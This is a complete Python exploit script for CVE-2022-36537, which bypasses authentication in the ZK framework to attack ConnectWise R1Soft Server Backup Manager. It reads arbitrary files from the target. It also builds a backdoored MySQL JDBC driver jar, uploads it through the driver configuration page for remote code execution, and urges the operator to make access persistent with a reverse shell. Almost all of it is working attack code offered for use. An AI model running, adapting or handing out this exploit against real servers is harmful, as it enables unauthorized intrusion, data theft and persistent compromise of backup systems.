#!/usr/bin/env python3
# coding: utf-8
"""
@File : CVE-2022-36537.py
@Time : 2022/11/11 23:34
@Author : Bearcat of www.numencyber.com
@Version : 1.0
@Desc : ZK framework authentication bypass & connectWise r1Soft server backup manager remote code execution.
"""
import sys
import subprocess
import os
import warnings
import re
import zipfile
import shutil
import requests
from requests_toolbelt import MultipartEncoder
import urllib3
from selenium import webdriver
from rich import print as rprint
import argparse
urllib3.disable_warnings()
# proxy = {
# "http": "http://127.0.0.1:8080"
# }
proxy = {}
# https://chromedriver.storage.googleapis.com/index.html?path=107.0.5304.62/
def bypass_auth1(target):
warnings.warn("Discard. The bypass auch2 function is simpler to obtain dtid and cookies.", DeprecationWarning)
rprint("[italic green][*] Bypass authentication.")
try:
opt = webdriver.ChromeOptions()
opt.add_argument('--headless')
opt.add_argument('--ignore-certificate-errors')
driver = webdriver.Chrome(executable_path='./chromedriver', options=opt)
driver.get(target)
cookie_str = "JSESSIONID=" + driver.get_cookie("JSESSIONID")['value']
dtid = driver.execute_script("""
for (var dtid in zk.Desktop.all)
return dtid
""")
return dtid, cookie_str
except Exception as e:
rprint("[italic red][-] Bypass authentication failed. {0}".format(e))
exit()
def bypass_auth2(target):
rprint("[italic green][*] Bypass authentication.")
uri = "{0}/login.zul".format(target)
try:
result = requests.get(url=uri, timeout=3, verify=False, proxies=proxy)
cookie_str = result.headers['Set-Cookie'].split(";")[0]
r = u"dt:'(.*?)',cu:"
regex = re.compile(r)
dtid = regex.findall(result.text)[0]
return dtid, cookie_str
except Exception as e:
rprint("[italic red][-] Bypass authentication failed. {0}".format(e))
exit()
def forward_request(target, next_uri, cookie_str, uuid, dtid):
uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, uuid, dtid)
param = {"nextURI": (None, next_uri)}
headers = {"Cookie": cookie_str}
data = MultipartEncoder(param, boundary="----WebKitFormBoundaryCs6yB0zvpfSBbYEp")
headers["Content-Type"] = data.content_type
try:
result = requests.post(url=uri, headers=headers, data=data.to_string(), timeout=3, verify=False, proxies=proxy)
return result
except Exception as e:
rprint("[italic red][-] Forward request failed. {0}".format(e))
exit()
def read_file(target, filename):
# get login_dtid
login_dtid, cookie_str = bypass_auth2(target)
rprint("[italic green][*] Start reading the file:")
result = forward_request(target, filename, cookie_str, "101010", login_dtid)
return "-----file start-----\n{0}\n-----file end-----".format(result.text)
def deploy_jdbc_backdoor(target):
rprint(
"[italic red][!] The jdbc backdoor can only be deployed once, please make it persistent, such as rebounding the shell.")
play_again = input("Whether to continue? (y/n):").lower()
if play_again[0] != "y":
exit()
# get login_dtid
login_dtid, cookie_str = bypass_auth2(target)
rprint("[italic green][*] Start deploying the jdbc backdoor.")
build_jdbc_backdoor()
# database_dtid and mysql_driver_upload_button_id
uri = "/Configuration/database-drivers.zul"
result = forward_request(target, uri, cookie_str, "101010", login_dtid)
r1 = u"{dt:'(.*?)',cu:"
regex = re.compile(r1)
database_dtid = regex.findall(result.text)[0]
r1 = u"'zul.wgt.Button','(.*?)',"
regex = re.compile(r1)
mysql_driver_upload_button_id = regex.findall(result.text)[0]
uri = "/zkau?dtid={0}&cmd_0=onClick&uuid_0={1}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D".format(
database_dtid, mysql_driver_upload_button_id)
result = forward_request(target, uri, cookie_str, "101010", login_dtid)
# file_upload_dlg_id and file_upload_id
r1 = u"zul.fud.FileuploadDlg','(.*?)',"
regex = re.compile(r1)
file_upload_dlg_id = regex.findall(result.text)[0]
r1 = u"zul.wgt.Fileupload','(.*?)',"
regex = re.compile(r1)
file_upload_id = regex.findall(result.text)[0]
uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, file_upload_id, database_dtid)
upload_jdbc_backdoor(uri, cookie_str)
uri = "/zkau?dtid={0}&cmd_0=onMove&opt_0=i&uuid_0={1}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={2}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{3}%22%2C%22sid%22%3A%220%22%7D".format(
database_dtid, file_upload_dlg_id, file_upload_dlg_id, file_upload_id)
forward_request(target, uri, cookie_str, "101010", login_dtid)
uri = "/zkau?dtid={0}&cmd_0=onClose&uuid_0={1}&data_0=%7B%22%22%3Atrue%7D".format(database_dtid,
file_upload_dlg_id)
forward_request(target, uri, cookie_str, "101010", login_dtid)
def upload_jdbc_backdoor(uri, cookie_str):
rprint("[italic green][*] Upload the database driver.")
headers = {"Cookie": cookie_str}
files = {'file': ('b.jar', open('jdbc_backdoor.jar', 'rb'), 'application/java-archive')}
try:
requests.post(uri, files=files, headers=headers, timeout=6, verify=False, proxies=proxy)
except Exception as e:
rprint("[italic red][-] Upload the database driver failed. {0}".format(e))
exit()
def build_jdbc_backdoor():
rprint("[italic green][*] Compile java code.")
java_cmd = 'javac -source 1.5 -target 1.5 Driver.java'
popen = subprocess.Popen(java_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
popen.stdout.read()
tmp_path = 'jdbc_jar'
os.mkdir(tmp_path)
with zipfile.ZipFile('mysql-connector-java-5.1.48.jar', 'r', zipfile.ZIP_DEFLATED) as unzf:
unzf.extractall("jdbc_jar")
unzf.close()
os.remove('jdbc_jar/com/mysql/jdbc/Driver.class')
shutil.copy('Driver.class', 'jdbc_jar/com/mysql/jdbc/')
with zipfile.ZipFile('jdbc_backdoor.jar', 'w', zipfile.ZIP_DEFLATED) as zf:
for root, dirs, files in os.walk(tmp_path):
relative_root = '' if root == tmp_path else root.replace(tmp_path, '') + os.sep
for filename in files:
zf.write(os.path.join(root, filename), relative_root + filename)
zf.close()
shutil.rmtree(tmp_path)
rprint("[italic green][*] Build jdbc backdoor success.")
def banner():
rprint("[italic white]CVE-2022-36537:\n\tZK framework authentication bypass")
rprint("[italic white]\tConnectWise r1Soft server backup manager remote code execution")
def parse_args():
parser = argparse.ArgumentParser(prog='cve-2022-36537',
formatter_class=argparse.RawTextHelpFormatter,
description='author: Bearcat of www.numencyber.com',
usage='cve-2022-36537.py [options]')
parser.add_argument('-u', '--url', type=str, default='', help='target url')
parser.add_argument('-r', '--read', type=str, default='', help='reading the file')
parser.add_argument('-b', '--build', action="store_true", help='build jdbc backdoor')
parser.add_argument('-d', '--deploy', action="store_true", help='deploying the jdbc backdoor')
if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
return args
if __name__ == '__main__':
banner()
args = parse_args()
if args.url and args.read:
print(read_file(args.url, args.read))
exit()
if args.build:
build_jdbc_backdoor()
exit()
if args.url and args.deploy:
deploy_jdbc_backdoor(args.url)
exit()
暂无评论